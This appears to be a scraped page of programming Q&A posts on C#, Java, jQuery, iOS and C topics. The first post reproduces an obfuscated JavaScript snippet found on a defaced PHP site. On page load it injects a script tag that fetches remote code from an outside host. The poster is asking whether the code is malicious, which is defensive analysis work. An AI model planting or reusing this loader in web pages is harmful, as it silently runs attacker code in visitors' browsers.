  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

  • How to retrieve value from ViewData when the object is not a string?

    - by Richard77
    Hello, Here's the functionality I'd like to exploit: I've a class myClass and would like to iterate over a collection that contains all the properties of that class. I'd like to send the index of that collection along with the other data so that I can control the each sequence of the iteration. Here's simplified versions of a Action method and View (I'll use the same action-view for that functionality). 1) Action public ActionResult CreateHierarchy(int? index) { if(index < PropertiesOfMyClass.Lenght) { //Other code omitted ViewData["index"] = ((index == null) ? 1 : index++); Return View(); } } 2)View <% Using(Html.BeginForm()){%> //Other Code omitted <% = Html.Hidden("Index", ViewData["index"])%> <input type = "submit" value = "Do someting"/> <%}%> I've also placed this at the bottom of the page so that I can check the value of the index, <% = ViewData["index"]%> Unfortunately, its not working. I'm getting only the number 1. I'm missing something? such as a cast for the Viewdata? Should I write something like this: <% = Html.Hidden("index", (int)ViewData["index"])%> It's not working either Thanks for helping

  • Component returned failure code: 0x80600011 [nsIXSLTProcessorObsolete.transformDocument]

    - by Sean Ochoa
    So, I'm using the XSLT plugin for JQuery, and here's my code: function AddPlotcardEventHandlers(){ // some code } function reportError(exception){ alert(exception.constructor.name + " Exception: " + ((exception.name) ? exception.name : "[unknown name]") + " - " + exception.message); } function GetPlotcards(){ $("#content").xslt("../xml/plotcards.xml","../xslt/plotcards.xsl", AddPlotcardEventHandlers,reportError); } Here's the modified jquery plugin. I say that its modified because I've added callbacks for success and error handling. /* * jquery.xslt.js * * Copyright (c) 2005-2008 Johann Burkard (<mailto:[email protected]>) * <http://eaio.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

  • How do I print an HTML document from a web service?

    - by Chris Marasti-Georg
    I want to print HTML from a C# web service. The Web Browser control is overkill, and does not function well in a service-environment, nor does it function well on a system with very tight security constraints. Is there any sort of free .NET library that will support the printing of a basic HTML page? Here is the code I have so far, that is not running properly. public void PrintThing(string document) { if (Thread.CurrentThread.GetApartmentState() != ApartmentState.STA) { Thread thread = new Thread((ThreadStart) delegate { PrintDocument(document); }); thread.SetApartmentState(ApartmentState.STA); thread.Start(); } else { PrintDocument(document); } } protected void PrintDocument(string document) { WebBrowser browser = new WebBrowser(); browser.DocumentText = document; while (browser.ReadyState != WebBrowserReadyState.Complete) { Application.DoEvents(); } browser.Print(); } This works fine when called from UI-type threads, but nothing happens when called from a service-type thread. Changing Print() to ShowPrintPreviewDialog() yields the following IE script error: Error: 'dialogArguments.___IE_PrintType' is null or not an object URL: res://ieframe.dll/preview.dlg And a small empty print preview dialog appears.

  • Trying to use an Xslt for an xml in asp.net

  • ArgumentOutOfRangeException when reading bytes from stream

    - by user345194
    I'm trying to read the response stream from an HttpWebResponse object. I know the length of the stream (_response.ContentLength) however I keep getting the following exception: Specified argument was out of the range of valid values. Parameter name: size While debugging, I noticed that at the time of the error, the values were as such: length = 15032 //the length of the stream as defined by _response.ContentLength bytesToRead = 7680 //the number of bytes in the stream that still need to be read bytesRead = 7680 //the number of bytes that have been read (offset) body.length = 15032 //the size of the byte[] the stream is being copied to The peculiar thing is that the bytesToRead and bytesRead variables are ALWAYS 7680, regardless of the size of the stream (contained in the length variable). Any ideas? Code: int length = (int)_response.ContentLength; byte[] body = null; if (length 0) { int bytesToRead = length; int bytesRead = 0; try { body = new byte[length]; using (Stream stream = _response.GetResponseStream()) { while (bytesToRead > 0) { // Read may return anything from 0 to length. int n = stream.Read(body, bytesRead, length); // The end of the file is reached. if (n == 0) break; bytesRead += n; bytesToRead -= n; } stream.Close(); } } catch (Exception exception) { throw; } } else { body = new byte[0]; } _responseBody = body;

  • ASP.NET MVC 2.0 + Implementation of a IRouteHandler does not fire

  • File transfer eating alot of CPU

    - by Dan C.
    I'm trying to transfer a file over a IHttpHandler, the code is pretty simple. However when i start a single transfer it uses about 20% of the CPU. If i were to scale this to 20 simultaneous transfers the CPU is very high. Is there a better way I can be doing this to keep the CPU lower? the client code just sends over chunks of the file 64KB at a time. public void ProcessRequest(HttpContext context) { if (context.Request.Params["secretKey"] == null) { } else { accessCode = context.Request.Params["secretKey"].ToString(); } if (accessCode == "test") { string fileName = context.Request.Params["fileName"].ToString(); byte[] buffer = Convert.FromBase64String(context.Request.Form["data"]); string fileGuid = context.Request.Params["smGuid"].ToString(); string user = context.Request.Params["user"].ToString(); SaveFile(fileName, buffer, user); } } public void SaveFile(string fileName, byte[] buffer, string user) { string DirPath = @"E:\Filestorage\" + user + @"\"; if (!Directory.Exists(DirPath)) { Directory.CreateDirectory(DirPath); } string FilePath = @"E:\Filestorage\" + user + @"\" + fileName; FileStream writer = new FileStream(FilePath, File.Exists(FilePath) ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.ReadWrite); writer.Write(buffer, 0, buffer.Length); writer.Close(); }

  • Converting a pointer for a base class into an inherited class

    - by Shawn B
    Hey, I'm working on a small roguelike game, and for any object/"thing" that is not a part of the map is based off an XEntity class. There are several classes that depend on it, such as XPlayer, XItem, and XMonster. My problem is, that I want to convert a pointer from XEntity to XItem when I know that an object is in item. The sample code I am using to pick up an item is this, it is when a different entity picks up an item it is standing over. void XEntity::PickupItem() { XEntity *Ent = MapList; // Start of a linked list while(true) { if(Ent == NULL) { break; } if(Ent->Flags & ENT_ITEM) { Ent->RemoveEntity(); // Unlink from the map's linked list XItem *Item = Ent // Problem is here, type-safety // Code to link into inventory is here break; } Ent = Ent->MapList; } } My first thought was to create a method in XEntity that returns itself as an XItem pointer, but it creates circular dependencies that are unresolvable. I'm pretty stumped about this one. Any help is greatly appreciated.

  • Fun things you can do by mutating Java strings

    - by polygenelubricants
    So I've come around since I asked how to limit setAccessible to only “legitimate” uses and have come to embrace its power for fun. Enabled by its power, of course, is string mutation. import java.lang.reflect.Field; public class Mutator { static void mutate(Object obj, String field, Object newValue) { try { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, newValue); } catch (Exception e) { } } public static void mutate(String from, String to) { mutate(from, "value", to.toCharArray()); mutate(from, "count", to.length()); } public static void main(String args[]) { Mutator.mutate(System.getProperty("line.separator"), "<br/>\n"); System.out.println("Hello world!"); Mutator.mutate(Integer.toString(Integer.MIN_VALUE), "OMG!"); System.out.println(-2147483648); Mutator.mutate(String.valueOf((Object) null), "LOL!"); System.out.println(Arrays.toString(new int[3][])); Mutator.mutate(Arrays.toString(new int[0]), ":("); System.out.println(Arrays.toString(new byte[0])); } } Output (if no exception is thrown): Hello world!<br/> OMG!<br/> [LOL!, LOL!, LOL!]<br/> :(<br/> Let's see what other fun things we can come up with.

  • UIView: how to do non-destructive drawing?

    - by Caffeine Coma
    My original question: I'm creating a simple drawing application and need to be able to draw over existing, previously drawn content in my drawRect. What is the proper way to draw on top of existing content without entirely replacing it? Based on answers received here and elsewhere, here is the deal. You should be prepared to redraw the entire rectangle whenever drawRect is called. You cannot prevent the contents from being erased by doing the following: [self setClearsContextBeforeDrawing: NO]; This is merely a hint to the graphics engine that there is no point in having it pre-clear the view for you, since you will likely need to re-draw the whole area anyway. It may prevent your view from being automatically erased, but you cannot depend on it. To draw on top of your view without erasing, do your drawing to an off-screen bitmap context (which is never cleared by the system.) Then in your drawRect, copy from this off-screen buffer to the view. Example: - (id) initWithCoder: (NSCoder*) coder { if (self = [super initWithCoder: coder]) { self.backgroundColor = [UIColor clearColor]; CGSize size = self.frame.size; drawingContext = [self createDrawingBufferContext: size]; } return self; } - (CGContextRef) createOffscreenContext: (CGSize) size { CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB(); CGContextRef context = CGBitmapContextCreate(NULL, size.width, size.height, 8, size.width*4, colorSpace, kCGImageAlphaPremultipliedLast); CGColorSpaceRelease(colorSpace); CGContextTranslateCTM(context, 0, size.height); CGContextScaleCTM(context, 1.0, -1.0); return context; } - (void)drawRect:(CGRect) rect { UIGraphicsPushContext(drawingContext); CGImageRef cgImage = CGBitmapContextCreateImage(drawingContext); UIImage *uiImage = [[UIImage alloc] initWithCGImage:cgImage]; UIGraphicsPopContext(); CGImageRelease(cgImage); [uiImage drawInRect: rect]; [uiImage release]; } TODO: can anyone optimize the drawRect so that only the (usually tiny) modified rectangle region is used for the copy?

  • How to recalculate all-pairs shorthest paths on-line if nodes are getting removed?

    - by Pavel Shved
    Latest news about underground bombing made me curious about the following problem. Assume we have a weighted undirected graph, nodes of which are sometimes removed. The problem is to re-calculate shortest paths between all pairs of nodes fast after such removals. With a simple modification of Floyd-Warshall algorithm we can calculate shortest paths between all pairs. These paths may be stored in a table, where shortest[i][j] contains the index of the next node on the shortest path between i and j (or NULL value if there's no path). The algorithm requires O(n³) time to build the table, and eacho query shortest(i,j) takes O(1). Unfortunately, we should re-run this algorithm after each removal. The other alternative is to run graph search on each query. This way each removal takes zero time to update an auxiliary structure (because there's none), but each query takes O(E) time. What algorithm can be used to "balance" the query and update time for all-pairs shortest-paths problem when nodes of the graph are being removed?

  • Java: Reading images and displaying as an ImageIcon

    - by 11helen
    I'm writing an application which reads and displays images as ImageIcons (within a JLabel), the application needs to be able to support jpegs and bitmaps. For jpegs I find that passing the filename directly to the ImageIcon constructor works fine (even for displaying two large jpegs), however if I use ImageIO.read to get the image and then pass the image to the ImageIcon constructor, I get an OutOfMemoryError( Java Heap Space ) when the second image is read (using the same images as before). For bitmaps, if I try to read by passing the filename to ImageIcon, nothing is displayed, however by reading the image with ImageIO.read and then using this image in the ImageIcon constructor works fine. I understand from reading other forum posts that the reason that the two methods don't work the same for the different formats is down to java's compatability issues with bitmaps, however is there a way around my problem so that I can use the same method for both bitmaps and jpegs without an OutOfMemoryError? (I would like to avoid having to increase the heap size if possible!) The OutOfMemoryError is triggered by this line: img = getFileContentsAsImage(file); and the method definition is: public static BufferedImage getFileContentsAsImage(File file) throws FileNotFoundException { BufferedImage img = null; try { ImageIO.setUseCache(false); img = ImageIO.read(file); img.flush(); } catch (IOException ex) { //log error } return img; } The stack trace is: Exception in thread "AWT-EventQueue-0" java.lang.OutOfMemoryError: Java heap space at java.awt.image.DataBufferByte.<init>(DataBufferByte.java:58) at java.awt.image.ComponentSampleModel.createDataBuffer(ComponentSampleModel.java:397) at java.awt.image.Raster.createWritableRaster(Raster.java:938) at javax.imageio.ImageTypeSpecifier.createBufferedImage(ImageTypeSpecifier.java:1056) at javax.imageio.ImageReader.getDestination(ImageReader.java:2879) at com.sun.imageio.plugins.jpeg.JPEGImageReader.readInternal(JPEGImageReader.java:925) at com.sun.imageio.plugins.jpeg.JPEGImageReader.read(JPEGImageReader.java:897) at javax.imageio.ImageIO.read(ImageIO.java:1422) at javax.imageio.ImageIO.read(ImageIO.java:1282) at framework.FileUtils.getFileContentsAsImage(FileUtils.java:33)

  • Confused about Ajax, Basic XMLHTTPRequest

    - by George
    I'm confused about the basics of Ajax. Right now I'm just trying to build a basic Ajax request using plain JavaScript to better understand how things work (as opposed to using Jquery or another library). First off, do you always need to pass a parameter or can you just retrieve data? In its most basic form, could I have an html document (located on the same server) that just has plain text, and another html document retrieve that text and load it on to the page? So I have fox.html with just text that says "The quick brown fox jumped over the lazy dog." and I want to pull in that text into ajax.html on load. I have the following on ajax.html <script type="text/javascript"> function createAJAX() { var ajax = new XMLHttpRequest(); ajax.open('get','fox.html',true); ajax.send(null); ajax = ajax.responseText; return(ajax); } document.write(createAJAX()); </script> This currently writes nothing when I load the page.

  • Using Android AsyncTask to download html file

    - by Lukas Tomsu
    i just started with android and i'm working on a simple app that should download contents of a html file. I'm using AsyncTask as suggested, but i'm encountering one problem. In the following code (i followed a tutorial code), i get tv cannot be resolved for the onPostExecute method. How to access the downloaded file? Thank You: public class FlashResults extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); setContentView(tv); readWebpage(tv); } protected class DownloadPage extends AsyncTask<String, Void, String> { protected String doInBackground(String... urls) { String responseStr = null; try { for (String url : urls) { DefaultHttpClient httpClient = new DefaultHttpClient(); HttpGet get = new HttpGet(url); HttpResponse httpResponse = httpClient.execute(get); HttpEntity httpEntity = httpResponse.getEntity(); responseStr = EntityUtils.toString(httpEntity); } } catch (UnsupportedEncodingException e) { } catch (ClientProtocolException e) { } catch (IOException e) { } return responseStr; } protected void onPostExecute(String result) { tv.setText(result); } } public void readWebpage(View v) { DownloadPage task = new DownloadPage(); task.execute(new String[] { "http://seznam.cz" }); } }

  • Convert pre-IEEE-574 C++ floating-point numbers to/from C#

    - by Richard Kucia
    Before .Net, before math coprocessors, before IEEE-574, Microsoft defined a bit pattern for floating-point numbers. Old versions of the C++ compiler happily used that definition. I am writing a C# app that needs to read/write such floating-point numbers in a file. How can I do the conversions between the 2 bit formats? I need conversion methods in both directions. This app is going to run in a PocketPC/WinCE environment. Changing the structure of the file is out-of-scope for this project. Is there a C++ compiler option that instructs it to use the old FP format? That would be ideal. I could then exchange data between the C# code and C++ code by using a null-terminated text string, and the C++ methods would be simple wrappers around sprintf and atof functions. At the very least, I'm hoping someone can reply with the bit definitions for the old FP format, so I can put together a low-level bit manipulation algorithm if necessary. Thanks.

  • Array of Objects

    - by James
    Complete and utter neophyte to Objective-C and the entire Mac platform so don't flame me please =). Basically I'm trying to create a simple game. The game has a board which I've created a class for and a board is comprised of squares which I also created a class for (board and square respectively). In my view controller I'm trying to instantiate a board and add boardSize^2 squares to said object. board contains an NSMutableArray *squares. I've also created a convenience method which sets an NSNumber *boardSize called initWithDimension. In my touchesBegan handler I have the following: board *game_board = [[board alloc] initWithDimension:10]; int size = [game_board.boardSize intValue]; for(int i = 0; i <= size; i++) { square *s = [[square alloc] init]; [game_board.squares addObject:s]; [s release]; } NSLog(@"%i", size); NSLog(@"%@", [game_board.squares objectAtIndex:0]); ...and I'm getting 10 (as expected) and then (null). This is probably glaringly obvious to an experienced developer, I've just struggled for an hour trying to solve it and have given up. I've tried it without the [s release] as well, same result. I've also imported square.h and board.h. Any ideas what's wrong here? Any other comments on what I'm brutalizing? Thanks.

  • notify listener inside or outside inner synchronization

    - by Jary Zeels
    Hello all, I am struggling with a decision. I am writing a thread-safe library/API. Listeners can be registered, so the client is notified when something interesting happens. Which of the two implementations is most common? class MyModule { protected Listener listener; protected void somethingHappens() { synchronized(this) { ... do useful stuff ... listener.notify(); } } } or class MyModule { protected Listener listener; protected void somethingHappens() { Listener l = null; synchronized(this) { ... do useful stuff ... l = listener; } l.notify(); } } In the first implementation, the listener is notified inside the synchronization. In the second implementation, this is done outside the synchronization. I feel that the second one is advised, as it makes less room for potential deadlocks. But I am having trouble to convince myself. A downside of the second imlementation is that the client might receive 'incorrect' notifications, which happens if it accessed the module prior to the l.notify() statement. thanks a lot

  • How do I sort an internationalized i18n table with symfony and doctrine?

    - by Maurizio
    I would like to display a list of records from an internationalized table using sfDoctrinePager. Not all the records have been translated to all the languages supported by the application, so I had to implement a fallback mechanism for some fields (by overriding the getFoo() function in the Bar.class.php, as explained in another post here). I have different fallback list for each culture. Everything works fine until when it comes to sorting the records in alphabetical order. I'm sorting the records at the SQL (Dql) level, by adding an -orderBy('t.name') to the query: $q = Doctrine::getTable('Foo') ->createQuery('f') ->leftJoin('f.Translation t') ->orderBy('t.name') But here come the troubles: the list gets not sorted correctly, regardless of the active culture. I get rather better results when I limit the translations to the active culture, like this: ->leftJoin('f.Translation t WITH lang = ?', $request->getParameter('sf_culture'); Then the sorting is correct, as far as all the translations exist for the active culture. If a translation does not exist and I have to take the name from the fallback language, the record will be displayed at the very beginning of the list (I understand this happens because the value for the current culture is null). My question is: is there a best practice for getting internationalized fields (needing fallbacks) sorted correctly with doctrine and sfDoctrinePager? Thank you in advance.

  • Alternative to sql NOT IN?

    - by Alex
    Hi, I am trying to make a materialized view in Oracle (I am a newbie, btw). For some reason, it doesn't like the presence of sub-query in it. I've been trying to use LEFT OUTER JOIN instead, but it's returning different data set now. Put simply, here's the code I'm trying to modify: SELECT * FROM table1 ros, table2 bal, table3 flx WHERE flx.name = 'XXX' AND flx.value = bal.value AND NVL (ros.ret, 'D') = Nvl (flx.attr16, 'D') AND ros.value = bal.segment3 AND ros.type IN ( 'AL', 'AS', 'PL' ) AND bal.period = 13 AND bal.code NOT IN (SELECT bal1.code FROM table2 bal1 WHERE bal1.value = flx.value AND bal1.segment3 = ros.value AND bal1.flag = bal.flag AND bal1.period = 12 AND bal1.year = bal.year) And here's one of my attempt: SELECT * FROM table1 ros, table2 bal, table3 flx LEFT OUTER JOIN table2 bal1 ON bal.code = bal1.code WHERE bal1.code is null AND bal1.segment3 = ros.value AND bal.segment3 = ros.value AND bal1.flag = bal.flag AND bal1.year = bal.year AND flx.name = 'XXX' AND flx.value = bal.value AND bal1.value = flx.value AND bal1.period_num = 12 AND NVL (ros.type, 'D') = NVL (flx.attr16, 'D') AND ros.value = bal.segment3 AND ros.type IN ( 'AL', 'AS', 'PL' ) AND bal.period = 13; This drives me nuts! Thanks in advance for the help :)

  • C# 4.0: casting dynamic to static

    - by Kevin Won
    This is an offshoot question that's related to another I asked here. I'm splitting it off because it's really a sub-question: I'm having difficulties casting an object of type dynamic to another (known) static type. I have an ironPython script that is doing this: import clr clr.AddReference("System") from System import * def GetBclUri(): return Uri("http://google.com") note that it's simply newing up a BCL System.Uri type and returning it. So I know the static type of the returned object. now over in C# land, I'm newing up the script hosting stuff and calling this getter to return the Uri object: dynamic uri = scriptEngine.GetBclUri(); System.Uri u = uri as System.Uri; // casts the dynamic to static fine Works no problem. I now can use the strongly typed Uri object as if it was originally instantiated statically. however.... Now I want to define my own C# class that will be newed up in dynamic-land just like I did with the Uri. My simple C# class: namespace Entity { public class TestPy // stupid simple test class of my own { public string DoSomething(string something) { return something; } } } Now in Python, new up an object of this type and return it: sys.path.append(r'C:..path here...') clr.AddReferenceToFile("entity.dll") import Entity.TestPy def GetTest(): return Entity.TestPy(); // the C# class then in C# call the getter: dynamic test = scriptEngine.GetTest(); Entity.TestPy t = test as Entity.TestPy; // t==null!!! here, the cast does not work. Note that the 'test' object (dynamic) is valid--I can call the DoSomething()--it just won't cast to the known static type string s = test.DoSomething("asdf"); // dynamic object works fine so I'm perplexed. the BCL type System.Uri will cast from a dynamic type to the correct static one, but my own type won't. There's obviously something I'm not getting about this...

  • instantiate python object within a c function called via ctypes

    - by gwk
    My embedded Python 3.3 program segfaults when I instantiate python objects from a c function called by ctypes. After setting up the interpreter, I can successfully instantiate a python Int (as well as a custom c extension type) from c main: #import <Python/Python.h> #define LOGPY(x) \ { fprintf(stderr, "%s: ", #x); PyObject_Print((PyObject*)(x), stderr, 0); fputc('\n', stderr); } // c function to be called from python script via ctypes. void instantiate() { PyObject* instance = PyObject_CallObject((PyObject*)&PyLong_Type, NULL); LOGPY(instance); } int main(int argc, char* argv[]) { Py_Initialize(); instantiate(); // works fine // run a script that calls instantiate() via ctypes. FILE* scriptFile = fopen("emb.py", "r"); if (!scriptFile) { fprintf(stderr, "ERROR: cannot open script file\n"); return 1; } PyRun_SimpleFileEx(scriptFile, scriptPath, 1); // close on completion return 0; } I then run a python script using PyRun_SimpleFileEx. It appears to run just fine, but when it calls instantiate() via ctypes, the program segfaults inside PyObject_CallObject: import ctypes as ct dy = ct.CDLL('./emb') dy.instantiate() # segfaults lldb output: instance: 0 Process 52068 stopped * thread #1: tid = 0x1c03, 0x000000010000d3f5 Python`PyObject_Call + 69, stop reason = EXC_BAD_ACCESS (code=1, address=0x18) frame #0: 0x000000010000d3f5 Python`PyObject_Call + 69 Python`PyObject_Call + 69: -> 0x10000d3f5: movl 24(%rax), %edx 0x10000d3f8: incl %edx 0x10000d3fa: movl %edx, 24(%rax) 0x10000d3fd: leaq 2069148(%rip), %rax ; _Py_CheckRecursionLimit (lldb) bt * thread #1: tid = 0x1c03, 0x000000010000d3f5 Python`PyObject_Call + 69, stop reason = EXC_BAD_ACCESS (code=1, address=0x18) frame #0: 0x000000010000d3f5 Python`PyObject_Call + 69 frame #1: 0x00000001000d5197 Python`PyEval_CallObjectWithKeywords + 87 frame #2: 0x0000000201100d8e emb`instantiate + 30 at emb.c:9 Why does the call to instantiate() fail from ctypes only?
